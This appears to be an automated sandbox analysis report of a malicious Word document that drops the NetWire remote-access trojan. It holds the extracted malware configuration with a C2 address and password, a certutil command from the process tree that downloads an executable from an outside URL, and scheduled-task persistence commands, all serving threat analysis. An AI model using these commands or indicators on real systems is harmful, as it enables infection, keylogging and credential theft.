Analysis

  • max time kernel
    102s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-09-2022 09:25

General

  • Target

    RFQ 80479040.doc

  • Size

    62KB

  • MD5

    31c3a3ef341ada198075d57bf07cc03d

  • SHA1

    d8ee2ef6d1066ce0fd1f95784c4381374d890adf

  • SHA256

    b995f53ac55eb6ce01af25e1cc21f26bf182aaf97e7c09be062250bf8e5df4b6

  • SHA512

    a00412dd6ecaa738b6a7c58b76e578bba9ae7fca4b475667fa6198822f094b88b253938fb9d8f5eb94a1da0fd0f84c513cbab52c06dbcaf0e39520b217301b42

  • SSDEEP

    384:OkUgY5j96eYPKNiaI1WAE7OCb8iSUR/8dEv8krqrf4INzte/DZeIESy3uGjGWi2S:OP5I5I/q/qsfZ3qHGjG/owKSqXI

Malware Config

Extracted

Family

netwire

C2

37.0.14.206:3384

Attributes
  • activex_autorun

    false

  • copy_executable

    true

  • delete_original

    false

  • host_id

    HostId-%Rand%

  • install_path

    %AppData%\Install\Host.exe

  • keylogger_dir

    %AppData%\Logs\

  • lock_executable

    true

  • offline_keylogger

    true

  • password

    Password234

  • registry_autorun

    false

  • use_mutex

    false

Signatures

  • NetWire RAT payload 6 IoCs
  • Netwire

    Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RFQ 80479040.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2352
    • C:\Windows\System32\certutil.exe
      "C:\Windows\System32\certutil.exe" -urlcache -split -f https://teqturn.com/goblin/ea05f1fD14F2Jju.exe C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
      2⤵
      • Process spawned unexpected child process
      PID:3104
    • C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
      "C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:220
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NksNHqr" /XML "C:\Users\Admin\AppData\Local\Temp\tmp1146.tmp"
        3⤵
        • Creates scheduled task(s)
        PID:3024
      • C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
        "{path}"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:540
        • C:\Users\Admin\AppData\Roaming\Install\Host.exe
          "C:\Users\Admin\AppData\Roaming\Install\Host.exe"
          4⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2604
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NksNHqr" /XML "C:\Users\Admin\AppData\Local\Temp\tmp7BC7.tmp"
            5⤵
            • Creates scheduled task(s)
            PID:4540
          • C:\Users\Admin\AppData\Roaming\Install\Host.exe
            "{path}"
            5⤵
            • Executes dropped EXE
            PID:2308
          • C:\Users\Admin\AppData\Roaming\Install\Host.exe
            "{path}"
            5⤵
            • Executes dropped EXE
            PID:2988

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scheduled Task

1
T1053

Persistence

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Discovery

Query Registry

3
T1012

System Information Discovery

4
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
    Filesize

    882KB

    MD5

    95b5d76bfb2204011333248cc121b5a4

    SHA1

    6faea7983c34f12cec7d22184be0eb1693e0abaf

    SHA256

    849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

    SHA512

    966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

  • C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
    Filesize

    882KB

    MD5

    95b5d76bfb2204011333248cc121b5a4

    SHA1

    6faea7983c34f12cec7d22184be0eb1693e0abaf

    SHA256

    849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

    SHA512

    966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

  • C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
    Filesize

    882KB

    MD5

    95b5d76bfb2204011333248cc121b5a4

    SHA1

    6faea7983c34f12cec7d22184be0eb1693e0abaf

    SHA256

    849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

    SHA512

    966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

  • C:\Users\Admin\AppData\Local\Temp\tmp1146.tmp
    Filesize

    1KB

    MD5

    65f892aa7144c7be9e9f0a64060f5f79

    SHA1

    33d937d86129a4c23affae32947812eb136fdacb

    SHA256

    fae46df3949c6dc59024f3dfbb59c659f1ea3f1ee8f6577a86da8f61af455d3c

    SHA512

    56585dce966d86b92a31e3384fe406b29a267da169efd8687552d3b927ddadb92579f83297866aeea394ac6c46abb3bd6cce605e9bd66c50091ff066024aca0f

  • C:\Users\Admin\AppData\Local\Temp\tmp7BC7.tmp
    Filesize

    1KB

    MD5

    65f892aa7144c7be9e9f0a64060f5f79

    SHA1

    33d937d86129a4c23affae32947812eb136fdacb

    SHA256

    fae46df3949c6dc59024f3dfbb59c659f1ea3f1ee8f6577a86da8f61af455d3c

    SHA512

    56585dce966d86b92a31e3384fe406b29a267da169efd8687552d3b927ddadb92579f83297866aeea394ac6c46abb3bd6cce605e9bd66c50091ff066024aca0f

  • C:\Users\Admin\AppData\Roaming\Install\Host.exe
    Filesize

    882KB

    MD5

    95b5d76bfb2204011333248cc121b5a4

    SHA1

    6faea7983c34f12cec7d22184be0eb1693e0abaf

    SHA256

    849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

    SHA512

    966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

  • C:\Users\Admin\AppData\Roaming\Install\Host.exe
    Filesize

    882KB

    MD5

    95b5d76bfb2204011333248cc121b5a4

    SHA1

    6faea7983c34f12cec7d22184be0eb1693e0abaf

    SHA256

    849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

    SHA512

    966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

  • C:\Users\Admin\AppData\Roaming\Install\Host.exe
    Filesize

    882KB

    MD5

    95b5d76bfb2204011333248cc121b5a4

    SHA1

    6faea7983c34f12cec7d22184be0eb1693e0abaf

    SHA256

    849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

    SHA512

    966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

  • C:\Users\Admin\AppData\Roaming\Install\Host.exe
    Filesize

    882KB

    MD5

    95b5d76bfb2204011333248cc121b5a4

    SHA1

    6faea7983c34f12cec7d22184be0eb1693e0abaf

    SHA256

    849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

    SHA512

    966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

  • memory/220-141-0x0000000000000000-mapping.dmp
  • memory/220-143-0x0000000000190000-0x0000000000272000-memory.dmp
    Filesize

    904KB

  • memory/220-144-0x00000000051F0000-0x0000000005794000-memory.dmp
    Filesize

    5.6MB

  • memory/220-145-0x0000000004C40000-0x0000000004CD2000-memory.dmp
    Filesize

    584KB

  • memory/220-146-0x0000000004CE0000-0x0000000004D7C000-memory.dmp
    Filesize

    624KB

  • memory/220-147-0x00000000057B0000-0x00000000057BA000-memory.dmp
    Filesize

    40KB

  • memory/540-154-0x0000000000400000-0x0000000000433000-memory.dmp
    Filesize

    204KB

  • memory/540-155-0x0000000000400000-0x0000000000433000-memory.dmp
    Filesize

    204KB

  • memory/540-150-0x0000000000000000-mapping.dmp
  • memory/540-151-0x0000000000400000-0x0000000000433000-memory.dmp
    Filesize

    204KB

  • memory/2308-161-0x0000000000000000-mapping.dmp
  • memory/2352-133-0x00007FFE319B0000-0x00007FFE319C0000-memory.dmp
    Filesize

    64KB

  • memory/2352-134-0x00007FFE319B0000-0x00007FFE319C0000-memory.dmp
    Filesize

    64KB

  • memory/2352-174-0x00007FFE319B0000-0x00007FFE319C0000-memory.dmp
    Filesize

    64KB

  • memory/2352-173-0x00007FFE319B0000-0x00007FFE319C0000-memory.dmp
    Filesize

    64KB

  • memory/2352-137-0x00007FFE2F100000-0x00007FFE2F110000-memory.dmp
    Filesize

    64KB

  • memory/2352-136-0x00007FFE319B0000-0x00007FFE319C0000-memory.dmp
    Filesize

    64KB

  • memory/2352-172-0x00007FFE319B0000-0x00007FFE319C0000-memory.dmp
    Filesize

    64KB

  • memory/2352-135-0x00007FFE319B0000-0x00007FFE319C0000-memory.dmp
    Filesize

    64KB

  • memory/2352-171-0x00007FFE319B0000-0x00007FFE319C0000-memory.dmp
    Filesize

    64KB

  • memory/2352-138-0x00007FFE2F100000-0x00007FFE2F110000-memory.dmp
    Filesize

    64KB

  • memory/2352-132-0x00007FFE319B0000-0x00007FFE319C0000-memory.dmp
    Filesize

    64KB

  • memory/2604-156-0x0000000000000000-mapping.dmp
  • memory/2988-163-0x0000000000000000-mapping.dmp
  • memory/2988-167-0x0000000000400000-0x0000000000433000-memory.dmp
    Filesize

    204KB

  • memory/2988-168-0x0000000000400000-0x0000000000433000-memory.dmp
    Filesize

    204KB

  • memory/2988-169-0x0000000000400000-0x0000000000433000-memory.dmp
    Filesize

    204KB

  • memory/3024-148-0x0000000000000000-mapping.dmp
  • memory/3104-139-0x0000000000000000-mapping.dmp
  • memory/4540-159-0x0000000000000000-mapping.dmp